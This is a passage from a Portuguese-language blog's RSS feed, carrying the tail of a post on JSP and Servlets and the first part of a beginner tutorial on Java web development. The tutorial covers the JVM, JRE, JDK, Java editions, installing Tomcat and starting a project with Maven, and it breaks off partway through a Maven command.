&lt;p&gt;No entanto, &lt;em&gt;frameworks&lt;/em&gt; como o &lt;em&gt;Spring&lt;/em&gt; tendem a eliminar essa necessidade, tornando tudo um pouco mais interessante, principalmente para desenvolvedores acostumados com ambientes mais &quot;dinâmicos&quot; como &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Ruby&lt;/em&gt; ou &lt;em&gt;Node.js&lt;/em&gt;. Mas infelizmente, não atacaremos essa transição no próximo &lt;em&gt;post&lt;/em&gt;...&lt;/p&gt;
&lt;p&gt;No próximo artigo, finalizaremos a prototipação com a parte da adição da tarefa. Abordaremos brevemente filtros e &lt;em&gt;listeners&lt;/em&gt;, e fecharemos essa parte da trinca &lt;em&gt;Servlet + Tomcat + Maven&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até lá.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/javaserver-pages/&quot;&gt;Caelum: Apostila Java para Desenvolvimento Web - JavaServer Pages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/servlets/&quot;&gt;Caelum: Apostila Java para Desenvolvimento Web - Servlets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dzone.com/articles/an-overview-servlet-30&quot;&gt;DZone: An Overview of Servlet 3.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.javatpoint.com/life-cycle-of-a-servlet&quot;&gt;JavaTPoint: Life Cycle of a Servlet (Servlet Life Cycle)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.javatpoint.com/servlet-with-annotation&quot;&gt;JavaTPoint: Servlet with Annotation (feature of servlet3)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.quora.com/Should-I-learn-JSP-and-servlets-in-2019&quot;&gt;Quora: Should I learn JSP and servlets in 2019?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.quora.com/What-is-servlet&quot;&gt;Quora: What is servlet?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.thymeleaf.org/doc/articles/thvsjsp.html&quot;&gt;Thymeleaf: Thymeleaf vs. JSP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/JavaServer_Pages&quot;&gt;Wikipedia: JavaServer Pages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Unified_Expression_Language&quot;&gt;Wikipedia: Unified Expression Language&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Engatinhando em Java para a web - Parte 1]]></title><description><![CDATA[Uma constante nesses dois últimos anos da minha vida profissional tem sido "reavaliar" algumas opiniões que tive durante a minha carreira.…]]></description><link>https://klauslaube.com.br/2019/11/28/engatinhando-em-java-web-parte-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/11/28/engatinhando-em-java-web-parte-1.html</guid><pubDate>Thu, 28 Nov 2019 11:35:00 GMT</pubDate><content:encoded>&lt;p&gt;Uma constante nesses dois últimos anos da minha vida profissional tem sido &quot;reavaliar&quot; algumas opiniões que tive durante a minha carreira. Não à toa costumo escrever &lt;a href=&quot;/2017/04/19/eu-me-rendo-material-design.html&quot; title=&quot;Já me rendi até ao Material Design&quot;&gt;alguns artigos do tipo &quot;eu me rendo&quot;&lt;/a&gt;. Já me rendi ao &lt;a href=&quot;/2018/06/04/eu-me-rendo-vscode.html&quot; title=&quot;Relato onde admito estar traindo o Vim&quot;&gt;VS Code, ao uso de IDEs&lt;/a&gt;, e até mesmo ao &lt;em&gt;React&lt;/em&gt;. Agora chegou a hora do &lt;a href=&quot;/tag/java.html&quot; title=&quot;Leia mais sobre Java&quot;&gt;&lt;em&gt;Java&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; ainda é de longe a minha linguagem favorita. Mas acabei &quot;caindo de paraquedas&quot; no mundo &lt;em&gt;Java&lt;/em&gt; (principal linguagem usada aqui na &lt;a href=&quot;https://tradeshift.com/&quot; title=&quot;Reimagine procure-to-pay&quot;&gt;&lt;em&gt;Tradeshift&lt;/em&gt;&lt;/a&gt;), e assim como o &lt;em&gt;Python&lt;/em&gt; enriqueceu o meu conhecimento quando me rendi a ele (minha primeira linguagem foi o &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;), o &lt;em&gt;Java&lt;/em&gt; tem feito o mesmo.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7d22c1621039359e39fec86f1d50376a/07f3a/java-darth-vader.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 62.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHAomkhi//EABkQAAMAAwAAAAAAAAAAAAAAAAABAhAREv/aAAgBAQABBQIemiLcPusf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFxAAAwEAAAAAAAAAAAAAAAAAABAhAf/aAAgBAQAGPwImKP8A/8QAGRAAAgMBAAAAAAAAAAAAAAAAAREAEEEh/9oACAEBAAE/IQGZkO0wbhUnxKv/2gAMAwEAAgADAAAAEBwv/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFxEBAAMAAAAAAAAAAAAAAAAAAAERMf/aAAgBAgEBPxCMU//EABwQAQEAAgIDAAAAAAAAAAAAAAERACEQUUFxof/aAAgBAQABPxCSRfWNreNIOjr6cNICI08YoLqADVsxa2Gf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Imagem com o Darth Vader&quot;
        title=&quot;Come join the dark side (craigblower.wordpress.com)&quot;
        src=&quot;/static/7d22c1621039359e39fec86f1d50376a/07f3a/java-darth-vader.jpg&quot;
        srcset=&quot;/static/7d22c1621039359e39fec86f1d50376a/7809d/java-darth-vader.jpg 192w,
/static/7d22c1621039359e39fec86f1d50376a/4ecad/java-darth-vader.jpg 384w,
/static/7d22c1621039359e39fec86f1d50376a/07f3a/java-darth-vader.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Come join the dark side (craigblower.wordpress.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Após essa longa argumentação exibindo a motivação por trás desse &lt;em&gt;post&lt;/em&gt;, vamos ao que interessa: &lt;em&gt;Java&lt;/em&gt; para a &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; pode ser divertido...&lt;/p&gt;
&lt;p&gt;... só precisa ter um pouquinho de paciência.&lt;/p&gt;
&lt;h2&gt;Linguagem x Ambiente&lt;/h2&gt;
&lt;p&gt;Parece chover no molhado, mas quando falamos em &lt;em&gt;Java&lt;/em&gt; temos que levar sempre em consideração que estamos referenciando duas coisas: A linguagem de programação e a plataforma.&lt;/p&gt;
&lt;p&gt;Sobre a linguagem, é exatamente aquele mesmo discurso que a gente já está cansado de ouvir: Orientada a objetos, de alto nível, estática e de tipagem forte.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 550px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9d9922853c9497909d19d7237c71b757/d7854/java-luke-no.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 68.22916666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBAwT/xAAWAQEBAQAAAAAAAAAAAAAAAAACAAH/2gAMAwEAAhADEAAAAcCo9sFoh//EABoQAQEAAgMAAAAAAAAAAAAAAAECABIRITH/2gAIAQEAAQUCl1l2CfBE7cric//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oACAEDAQE/AUf/xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAgEBPwFX/8QAGhAAAgIDAAAAAAAAAAAAAAAAAAERYQIxQf/aAAgBAQAGPwJ5TRtnRplEH//EABsQAAIDAAMAAAAAAAAAAAAAAAABESExQWGR/9oACAEBAAE/IWa7HRq3EuXoSU7clMNymIRlmf/aAAwDAQACAAMAAAAQIC//xAAXEQADAQAAAAAAAAAAAAAAAAAAESEB/9oACAEDAQE/EHipR//EABcRAAMBAAAAAAAAAAAAAAAAAAABESH/2gAIAQIBAT8Q2ig//8QAHRABAAICAgMAAAAAAAAAAAAAAREhADFBoWGR8P/aAAgBAQABPxAvAYT2y59HeWzJNrX15JsXshjlIVHUYx0yBqjrxgMrBOjnP//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Luke gritando no&quot;
        title=&quot;Noooooooooooooooooooooooo (starwarsanon.wordpress.com)&quot;
        src=&quot;/static/9d9922853c9497909d19d7237c71b757/d7854/java-luke-no.jpg&quot;
        srcset=&quot;/static/9d9922853c9497909d19d7237c71b757/7809d/java-luke-no.jpg 192w,
/static/9d9922853c9497909d19d7237c71b757/4ecad/java-luke-no.jpg 384w,
/static/9d9922853c9497909d19d7237c71b757/d7854/java-luke-no.jpg 550w&quot;
        sizes=&quot;(max-width: 550px) 100vw, 550px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Noooooooooooooooooooooooo (starwarsanon.wordpress.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Plataformas e a sopa de letrinha&lt;/h3&gt;
&lt;p&gt;As plataformas &lt;em&gt;Java&lt;/em&gt; possuem a &lt;em&gt;Java Virtual Machine&lt;/em&gt; (&lt;em&gt;JVM&lt;/em&gt;) e uma &lt;em&gt;API&lt;/em&gt; (&lt;em&gt;Application Programming Interface&lt;/em&gt;). A primeira é quem &quot;executa&quot; aplicações &lt;em&gt;Java&lt;/em&gt; para uma determinada plataforma de &lt;em&gt;hardware&lt;/em&gt; e &lt;em&gt;software&lt;/em&gt;. Já a segunda é uma coleção de componentes usados para criação de outros componentes e aplicações.&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;Java Runtime Environment&lt;/em&gt; (&lt;em&gt;JRE&lt;/em&gt;) provê o ambiente necessário para executar aplicações &lt;em&gt;Java&lt;/em&gt;. Inclui implementação da &lt;em&gt;JVM&lt;/em&gt; juntamente com bibliotecas e outros arquivos necessários para sua execução.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 619px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f41c59ff528f47a7fed0a5a4943946df/e628c/jre-diagram.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 58.854166666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACBklEQVQoz32T3W7TQBCF/QC8Do9bBOlF4QrCLZQ0ieP/OIkU2iKFqhCr+XOyjndtr7Mhh/G6QBSglj7JOztzPHN2bbBpC/mih2xuPkm+7KGIe8hX5gkUJ7JFnWfs1g4gQoAHRP/fiD52Kxf5Nwty6qCsiFxN8d1GPrVw2Po615ArC0iDOrB18SNxcCCQejpWJ/pIJ10Ix0VsdrBsX2F+1SI+gTsOEr+HcuXopgwZ21r5kHiQ7BoynaLY3mPHho+igRbkX02owQDj5lv4ry/QenEG/80FZBBADBzs4mNBKszZBFwUWK7WYAmH4BwlG1HXHo1MRXfkV+CRtk2DWGC2SWEXMgywDXt/BMtKkEYVSYS8UBiNhoiiCIXco9iM9V5lidpQzqyL/OSwdIwOVVuT/h6ZCpIQnEWQRYZMJMio49rXQO9XxvOxBXFtQ37xNPmtA/HZRnpj6g8eCfb1aAdCbXzsmV+Pmvq1h4I8nJgovRDCdXHbfI+bd01EHz5iHw4pzT720FKkrKgbIqB3X1O91zFac1/xO1NlvqtE31Gx1SHairmmykNPkYeKBLWOUa5tfc+qdp9iz2jMpUXXo+rGhVq7uiu5tKHPIa2tMeL7ywafdRvpQ5vo/AV/6LyigjP6E16KebfxP37lG8CCSIgNwY7gREzMDHqeE8+C7jmtQYgT+GPNxvgJp31Oy9YTG7sAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama da relação entre a JRE e a JVM (javatpoint.com)&quot;
        title=&quot;Diagrama da relação entre a JRE e a JVM (javatpoint.com)&quot;
        src=&quot;/static/f41c59ff528f47a7fed0a5a4943946df/e628c/jre-diagram.png&quot;
        srcset=&quot;/static/f41c59ff528f47a7fed0a5a4943946df/8514f/jre-diagram.png 192w,
/static/f41c59ff528f47a7fed0a5a4943946df/804b2/jre-diagram.png 384w,
/static/f41c59ff528f47a7fed0a5a4943946df/e628c/jre-diagram.png 619w&quot;
        sizes=&quot;(max-width: 619px) 100vw, 619px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama da relação entre a JRE e a JVM (javatpoint.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Para escrever código &lt;em&gt;Java&lt;/em&gt; utiliza-se um conjunto de ferramentas de desenvolvimento chamado de &lt;em&gt;Java Development Kit&lt;/em&gt; (&lt;em&gt;JDK&lt;/em&gt;). Entre essas ferramentas está o compilador, o &lt;em&gt;debugger&lt;/em&gt; &lt;em&gt;Java&lt;/em&gt;, e a própria &lt;em&gt;JRE&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 619px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/522963bb17ca0f1b07673df5bd23aa9e/e628c/jdk-diagram.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 58.333333333333336%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACO0lEQVQoz11T227aQBD1c3+mX9w8JEppH1qpkdoECJdgjI25JBJJFaLEDjbG3OwCvoEXOB2vgVIsHe3s2ePjmdmxMO+XEYyq8OwKvKF4gH+E031Iev9I6x3xQjSuIepLWPblExBv1rA0jzjaB0YVmz8qQkvi+0S3orPQTHnBt0XEhgIMWoClAv06j9dmHWO5BKt4i34xD7OQx1QuI9QlrKYyIqOWvpPAbmNlyJwXgmEVsalgazUQ2x2w8TPWVhMbMn7L/YT6OYPS2SdI5xdw5AoCnfSOgtCQwHoKGH04pjV6lzjPDVc9St8xMBpPoOk6/LmLpdHA7KECt1nBRC1j1hIRdGQEWlra5PkW97lLPJa+Qq9fwddEMLf+zzByTAyGI7xpGjdkVpuXnWSOQZNiFcyok1bmhvZjFrWrMzRvLtAVv2H6u4D13vBQ8vAJbPJCJbeorzKm9Tvo2Rto2V8YlAqYt6RDJkGviqUu8/6H2o7nJdupIez/L2XTb8Bvy+jlsmR6zQ2jB5WXnPQquWEM2ul7o3vqpYJ4SoY0O4xGgUWGxMIdaFyY81Jko6c88zSRLbQKm7/esdlrmfnvImOuwnxTZGGvmuoJfo94R2FC7FJ2C7rVuUpoYDOjLP0WtM4PWN1rIKBeErelMywa6eo1saU40Sf7/ZrwgmsUMzTlGc8WM/4O3qCSWU5qmXAs8Zh6dh6OpEuKv+zP6c866Dm34wUgJGwI6yPEBBCWfKXnI+FDt/19x7MT/R5M+AvR9kYVUl2wXAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama da relação entre a JDK, JRE e a JVM (javatpoint.com)&quot;
        title=&quot;Diagrama da relação entre a JDK, JRE e a JVM (javatpoint.com)&quot;
        src=&quot;/static/522963bb17ca0f1b07673df5bd23aa9e/e628c/jdk-diagram.png&quot;
        srcset=&quot;/static/522963bb17ca0f1b07673df5bd23aa9e/8514f/jdk-diagram.png 192w,
/static/522963bb17ca0f1b07673df5bd23aa9e/804b2/jdk-diagram.png 384w,
/static/522963bb17ca0f1b07673df5bd23aa9e/e628c/jdk-diagram.png 619w&quot;
        sizes=&quot;(max-width: 619px) 100vw, 619px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama da relação entre a JDK, JRE e a JVM (javatpoint.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Java&lt;/em&gt; é uma linguagem de propósito genérico, portanto, há diferentes especificações (e fatalmente implementações) que auxiliam na construção de soluções para diferentes fins. As mais mencionadas sendo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Java Standard Edition (SE)&lt;/em&gt;: Disponibiliza as funcionalidades &quot;core&quot; da linguagem. De tipos básicos a classes de alto nível que lidam com &lt;em&gt;networking&lt;/em&gt;, segurança, &lt;em&gt;parsing&lt;/em&gt;, &lt;em&gt;math&lt;/em&gt;, entre outros. Além disso, consiste de máquina virtual, ferramentas de desenvolvimento, tecnologias de &lt;em&gt;deployment&lt;/em&gt;, etc;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Java Enterprise Edition (EE)&lt;/em&gt;: Construída em cima da anterior, disponibiliza &lt;em&gt;API&lt;/em&gt; e ambiente de execução para ambientes &quot;enterprise&quot; de larga escala e distruídos. Aqui encontraremos os componentes mais comuns para construção de aplicações &lt;em&gt;web&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Java Micro Edition (ME)&lt;/em&gt;: Também construída em cima da &lt;em&gt;SE&lt;/em&gt;, disponibiliza uma máquina virtual própria para dispositivos menores (como &lt;em&gt;smartphones&lt;/em&gt; e embarcados).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Confuso? Isso que &lt;a href=&quot;https://www.baeldung.com/oracle-jdk-vs-openjdk&quot; title=&quot;Leia mais sobre no Baeldung&quot;&gt;nem falamos de &lt;em&gt;OpenJDK&lt;/em&gt;&lt;/a&gt;...&lt;/p&gt;
&lt;h2&gt;Tudo começa pelo servidor de aplicação&lt;/h2&gt;
&lt;p&gt;O motivo no qual estamos lidando com essa quantidade de acrônimos é para compreendermos que, quando estamos falando do servidor de aplicações (que será o ambiente no qual executaremos a nossa aplicação &lt;em&gt;web&lt;/em&gt;), estamos falando do &quot;domínio&quot; do &lt;em&gt;Java EE&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Segundo a &lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/o-que-e-java-ee/&quot; title=&quot;Leia o trecho completo no material original&quot;&gt;apostila de &lt;em&gt;Java&lt;/em&gt; para &lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, da &lt;em&gt;Caelum&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) o Java EE é um grande conjunto de especificações. Essas especificações, quando implementadas, vão auxiliar bastante o desenvolvimento da sua aplicação, pois você não precisará se preocupar com grande parte de código de infraestrutura, que demandaria muito trabalho.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ainda citando a fonte acima:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Existem diversas dessas implementações. Já que esse software tem papel de servir sua aplicação para auxiliá-la com serviços de infraestrutura, esse software ganha o nome de servidor de aplicação. A própria Sun/Oracle desenvolve uma dessas implementações, o Glassfish que é open source e gratuito (...).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vamos utilizar uma ferramenta que implementa apenas parte da especificação do &lt;em&gt;Java EE&lt;/em&gt;, não sendo por definição um &quot;servidor de aplicação completo&quot;, mas nem por isso deixando de atender nossos requisitos. No momento, só estamos interessados no &lt;em&gt;Java ServerPages&lt;/em&gt; (&lt;em&gt;JSP&lt;/em&gt;) e em &lt;em&gt;Servlets&lt;/em&gt;, e há um &lt;em&gt;software&lt;/em&gt; extremamente popular que entrega isso para a gente.&lt;/p&gt;
&lt;h3&gt;Tomcat&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Apache_Tomcat&quot; title=&quot;Leia mais no artigo original&quot;&gt;Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Apache Tomcat (sometimes simply &quot;Tomcat&quot;) is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and WebSocket technologies. (...) provides a &quot;pure Java&quot; HTTP web server environment in which Java code can run.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Exatamente o que precisamos!&lt;/p&gt;
&lt;p&gt;Instalá-lo é simples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Faça o &lt;em&gt;download&lt;/em&gt; no &lt;a href=&quot;https://tomcat.apache.org&quot; title=&quot;Site oficial do Tomcat&quot;&gt;tomcat.apache.org&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;Descompacte no diretório de sua preferência;&lt;/li&gt;
&lt;li&gt;Tenha certeza que o arquivo &lt;code class=&quot;language-text&quot;&gt;startup.sh&lt;/code&gt; tem permissão de execução;&lt;/li&gt;
&lt;li&gt;Execute o arquivo;&lt;/li&gt;
&lt;li&gt;Abra o endereço &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Se tudo estiver certo, você deve ver a mensagem em verde &lt;code class=&quot;language-text&quot;&gt;If you&apos;re seeing this, you&apos;ve successfully installed Tomcat. Congratulations!&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d7f82b06ae47bd09974f6ce003f0629b/6af66/tomcat-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 27.083333333333332%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAABYlAAAWJQFJUiTwAAABJUlEQVQY002OW0+CYABA+Q9+n1lecFZgpqYgIXwqMBU0hA8BL+RlJRcVe6it/9RrbW2tfl2up7az83a2Q1xe3/ACqtSYOte8KJAptIbb72TwDv0PEH7C7RfY/YCHt6JxqKrTUn9GKc4Zr580BkcIHq9b9qM8CeVpWFJsDm8a9h7NngQ3FqYHztmz1rZiRHnJTfN3xyzJapDR4J+J27HPjwPJiwuSQ/fmor3hjYVorQRziawVN/I43WOHk9pwUdbuy+q8OlhQiksiM9+2iKbutfFSHM3plk4J6lV/SVuvRfxCmc857ZDR4owap7o7uuect40cwlnRIEWTRJhsYSJdl3NsN12Ts0z3tIIAqyfkCHT8hBQAKQRyBJUQSBHZMVJsHzKD/9u/WPVNDM5pZd0AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de execução do Tomcat via terminal&quot;
        title=&quot;Exemplo de execução do Tomcat via terminal&quot;
        src=&quot;/static/d7f82b06ae47bd09974f6ce003f0629b/6af66/tomcat-example.png&quot;
        srcset=&quot;/static/d7f82b06ae47bd09974f6ce003f0629b/8514f/tomcat-example.png 192w,
/static/d7f82b06ae47bd09974f6ce003f0629b/804b2/tomcat-example.png 384w,
/static/d7f82b06ae47bd09974f6ce003f0629b/6af66/tomcat-example.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de execução do Tomcat via terminal&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Mas a maneira que considero mais prática é manuseá-lo através de alguma ferramenta de &lt;em&gt;build&lt;/em&gt;. No caso desse tutorial, usaremos o &lt;em&gt;Maven&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Não esqueça de desligar o &lt;em&gt;Tomcat&lt;/em&gt; através do &lt;code class=&quot;language-text&quot;&gt;./shutdown.sh&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Maven&lt;/h3&gt;
&lt;p&gt;Com o &lt;em&gt;Maven&lt;/em&gt; você controlará grande parte do ciclo de vida da sua aplicação, resolvendo dependências, executando testes, compilando o projeto, etc. Com ele você pode também criar o projeto utilizando o arquétipo de &lt;em&gt;webapp&lt;/em&gt;, como ilustrado no exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mvn archetype:generate
    -DgroupId=com.kplaube
    -DartifactId=ola-mundo
    -DarchetypeArtifactId=maven-archetype-webapp
